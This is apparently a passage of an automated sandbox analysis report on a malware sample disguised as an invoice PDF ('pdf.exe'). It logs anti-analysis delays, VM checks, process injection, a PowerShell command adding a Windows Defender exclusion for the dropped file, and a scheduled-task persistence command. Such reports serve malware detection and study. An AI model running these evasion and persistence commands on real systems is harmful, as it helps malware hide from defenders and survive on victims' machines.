Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598219s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598094s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597983s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597875s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597766s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597656s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597543s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597438s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597313s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597188s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -597078s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596969s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596844s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596734s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596625s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596516s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596406s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596297s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596188s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -596063s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595953s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595844s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595719s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595609s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595500s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595366s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595250s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595141s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -595030s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594894s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594780s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594658s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594532s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594407s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -594282s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598311	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598092	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597967	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597858	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597311	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597202	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595014	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594776	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594650	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599531
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598715
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598610
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598448
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598320
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598219
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598094
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597983
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597875
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597543
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597313
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596969
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596516
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596406
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596297
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596063
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595844
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595366
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595250
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595141
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595030
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594894
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594780
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594658
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594532
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594407
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594282

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773845424.0000000006EE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4176457203.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4176549696.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Code function: 9_2_06589328 LdrInitializeThunk,

9_2_06589328

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Memory written: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
